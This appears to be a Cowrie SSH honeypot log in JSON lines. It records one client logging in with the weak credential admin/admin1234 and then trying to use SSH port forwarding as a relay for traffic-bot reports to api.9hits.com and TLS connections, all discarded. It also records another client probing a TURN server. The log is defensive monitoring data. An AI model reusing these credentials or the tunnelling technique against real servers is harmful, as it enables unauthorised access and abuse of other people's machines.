{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:34.065978Z","session":"bc29f6483fba","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:34.164745Z","src_ip":"45.148.10.121","session":"bc29f6483fba","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:34.167639Z","src_ip":"45.148.10.121","session":"bc29f6483fba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:34.276789Z","src_ip":"45.148.10.121","session":"bc29f6483fba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":61372,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ff3d9224800","protocol":"ssh","message":"New connection: 113.164.152.20:61372 (10.17.0.5:22) [session: 9ff3d9224800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:34.883664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:34.890183Z","src_ip":"113.164.152.20","session":"9ff3d9224800","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:35.192447Z","src_ip":"113.164.152.20","session":"9ff3d9224800","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:37.666314Z","src_ip":"113.164.152.20","session":"9ff3d9224800","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:38.178414Z","session":"9ff3d9224800","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:38.802298Z","src_ip":"113.164.152.20","session":"9ff3d9224800","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1208\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 7.1.1; SM-P550) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=TllqRG1iRjd0Pl5SRyNrPA%3D%3DaNlg8cx3%2F4rI%2FTgF23Qwkize%2BPLW%2BBUBlQE2EHS9kXFdOeRaqDpTDxYobnMPt0HykqyiY6EeyeGtuuVoqs%2FAZzUPIR36BBU0Z5R7aPiUCad7LIZXyR9wdqFB9iHZzmvZ7lzDp1%2BkAPQgUJJoyIu%2B17WH%2F33BvQHVjiAQtrUvjnoqVlib2HvPmlxmggh%2B%2Bnk%2FHwNlbVCYBnfNkC8uh25nbNq8AQJZJtP1vNsFfbWg7T6lb4YgqtjmTk%2FuzN0NLd6XAmSwM42lf04sEyvi9tKQ2x0HymGQh5nem5V%2F4O%2B%2FKwxrgDR5kGqGFvm3vcsOy3kR6oHNrIYslukfCPOsO9FyrjHnuxL90LbcGsg7NOtRjOQPCz7K36E7hBuK7iz2bboiIVjzoG8%2Fm0CEjjmNtuseMkSOdqrhcZKXcof%2FgeJD6QyFISDnnsW%2FAjRpxbosMl3jB14Agl5%2FURLFE6SiI%2BPspWJ55Gog3%2BxR5xw%2BooYdldIz3XkAjIYlcH%2FGDbpCSWjdwjv2nfSto7OB64IV5VJ1FRDy1I3gsdWO4v0jN0wRoYwJVPb2RgbO%2BHceWWUS10uOGHxRaaAaTSBc%2BU9VXTcnmfCsc5LDL9QJit9%2BKGMPpO1DshnPq0oAUXGup2KLUBH8I1AOf%2B1565Tqe9G2hCHtNzMMYt9ae0KlWdbDG7HIm63H0go6FEKvob89spo%2FWKe9jprdKmkEnz0GL9yNaTtOMGazKQytGW1Ppf9Wum8cR5Th9wdJ465VRIVT%2Fgqxq4zBKT%2FDebWhPJ3zQQfFmLakw83RSU9MqAyavdk8VcgA3GZZvr8gs0KRMl1AyEdnduJq%2BqihWAgiXCPY8j1r2vHhxoa220fmWAw%2BruBJ9aWcvKwuxmmwYljcFJ8Y2fAi1ILyTKr2NmRV%2FLnIyU0GCsEDk0iEi%2FiTHuRxNKoPiuW%2BFMIGJ%2BiVpPg0%2F92dndVN6KtyV4EAds%2F3tN1ILUw5fr%2FIL6tZK%2Bl7wn3YPs5hJiAnWlIEc7ueu1j%2FWoUQOfRBE4pbL%2BBwA3I%2BVrG6xLz7XQ9eX6TtM%2FwUuZwsz3sDCWeHx1g0KbLULurz%2FKdv3W79FgBj'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1208\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 7.1.1; SM-P550) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=TllqRG1iRjd0Pl5SRyNrPA%3D%3DaNlg8cx3%2F4rI%2FTgF23Qwkize%2BPLW%2BBUBlQE2EHS9kXFdOeRaqDpTDxYobnMPt0HykqyiY6EeyeGtuuVoqs%2FAZzUPIR36BBU0Z5R7aPiUCad7LIZXyR9wdqFB9iHZzmvZ7lzDp1%2BkAPQgUJJoyIu%2B17WH%2F33BvQHVjiAQtrUvjnoqVlib2HvPmlxmggh%2B%2Bnk%2FHwNlbVCYBnfNkC8uh25nbNq8AQJZJtP1vNsFfbWg7T6lb4YgqtjmTk%2FuzN0NLd6XAmSwM42lf04sEyvi9tKQ2x0HymGQh5nem5V%2F4O%2B%2FKwxrgDR5kGqGFvm3vcsOy3kR6oHNrIYslukfCPOsO9FyrjHnuxL90LbcGsg7NOtRjOQPCz7K36E7hBuK7iz2bboiIVjzoG8%2Fm0CEjjmNtuseMkSOdqrhcZKXcof%2FgeJD6QyFISDnnsW%2FAjRpxbosMl3jB14Agl5%2FURLFE6SiI%2BPspWJ55Gog3%2BxR5xw%2BooYdldIz3XkAjIYlcH%2FGDbpCSWjdwjv2nfSto7OB64IV5VJ1FRDy1I3gsdWO4v0jN0wRoYwJVPb2RgbO%2BHceWWUS10uOGHxRaaAaTSBc%2BU9VXTcnmfCsc5LDL9QJit9%2BKGMPpO1DshnPq0oAUXGup2KLUBH8I1AOf%2B1565Tqe9G2hCHtNzMMYt9ae0KlWdbDG7HIm63H0go6FEKvob89spo%2FWKe9jprdKmkEnz0GL9yNaTtOMGazKQytGW1Ppf9Wum8cR5Th9wdJ465VRIVT%2Fgqxq4zBKT%2FDebWhPJ3zQQfFmLakw83RSU9MqAyavdk8VcgA3GZZvr8gs0KRMl1AyEdnduJq%2BqihWAgiXCPY8j1r2vHhxoa220fmWAw%2BruBJ9aWcvKwuxmmwYljcFJ8Y2fAi1ILyTKr2NmRV%2FLnIyU0GCsEDk0iEi%2FiTHuRxNKoPiuW%2BFMIGJ%2BiVpPg0%2F92dndVN6KtyV4EAds%2F3tN1ILUw5fr%2FIL6tZK%2Bl7wn3YPs5hJiAnWlIEc7ueu1j%2FWoUQOfRBE4pbL%2BBwA3I%2BVrG6xLz7XQ9eX6TtM%2FwUuZwsz3sDCWeHx1g0KbLULurz%2FKdv3W79FgBj'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:38.805578Z","src_ip":"113.164.152.20","session":"9ff3d9224800","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:38.809021Z","session":"9ff3d9224800","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:39.086443Z","src_ip":"113.164.152.20","session":"9ff3d9224800","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc8\\xd3\\xfd\\x84\\xa7\\xadr\\x97\\x82\\xd0b\\'Y\\x83\\xa7sn\\xf3\\xf4r\\xcf5\\x16\\xb3\\xd1K\\xf4\\xeb\\xdab\\x13\\xac \\xdc\\xb9\\xfa\\xe0|m\\xc9J\\xefT\\xc1\\x84\\x1c\\x06\\xd8o\\xb1\\x8d-\\xfe\\xb6\\x89\\xb7m\\x9e\\xbeh2\\xb6Qy9\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \"\\xaa\\xe0$\\'4\\xafg\\xf9\\xab\\xce\\x05l\\xce\\xbd\\xd2,\\xd2p\\xb0\\x01\\x94\\xdf\\xfc\\x91\\xecuy`d6f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc8\\xd3\\xfd\\x84\\xa7\\xadr\\x97\\x82\\xd0b\\'Y\\x83\\xa7sn\\xf3\\xf4r\\xcf5\\x16\\xb3\\xd1K\\xf4\\xeb\\xdab\\x13\\xac \\xdc\\xb9\\xfa\\xe0|m\\xc9J\\xefT\\xc1\\x84\\x1c\\x06\\xd8o\\xb1\\x8d-\\xfe\\xb6\\x89\\xb7m\\x9e\\xbeh2\\xb6Qy9\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \"\\xaa\\xe0$\\'4\\xafg\\xf9\\xab\\xce\\x05l\\xce\\xbd\\xd2,\\xd2p\\xb0\\x01\\x94\\xdf\\xfc\\x91\\xecuy`d6f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:39.089232Z","src_ip":"113.164.152.20","session":"9ff3d9224800","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:39.366330Z","session":"9ff3d9224800","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:39.642384Z","src_ip":"113.164.152.20","session":"9ff3d9224800","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03i\\xb2\\x11\\x8a\\xbb$\\xa4\\xe0\\xe2h^d\\x04\\' R\\xb1\\x10\\x81\\x8c\\xa2e\\xe0\\xf0\\xdd0\\x1e\\x8dxH\\xb8\\x1a \\x12\\n\\xd2}\\xabH\\x80r\\xcd\\xf2z%\\xf3O\\xcfX\\x18\\x1c!\\xcf\\x9e\\r\\x0b\\xfb\\x18\\x0e\\x99\\xea!\\x1fJ\\x98\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x0fF\\xc6\\xaa\\xc9\\x895P\\xdf\\xa9\\x1f\\xd6Y\\x8a\\xb9\\x1ez\\x10\\xa6\\xe9\\xc0\\x02.\\xd5\\x01Z\\xb1\\xa7@5b\\x15\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03i\\xb2\\x11\\x8a\\xbb$\\xa4\\xe0\\xe2h^d\\x04\\' R\\xb1\\x10\\x81\\x8c\\xa2e\\xe0\\xf0\\xdd0\\x1e\\x8dxH\\xb8\\x1a \\x12\\n\\xd2}\\xabH\\x80r\\xcd\\xf2z%\\xf3O\\xcfX\\x18\\x1c!\\xcf\\x9e\\r\\x0b\\xfb\\x18\\x0e\\x99\\xea!\\x1fJ\\x98\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x0fF\\xc6\\xaa\\xc9\\x895P\\xdf\\xa9\\x1f\\xd6Y\\x8a\\xb9\\x1ez\\x10\\xa6\\xe9\\xc0\\x02.\\xd5\\x01Z\\xb1\\xa7@5b\\x15\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:43:39.645811Z","src_ip":"113.164.152.20","session":"9ff3d9224800","protocol":"ssh"}
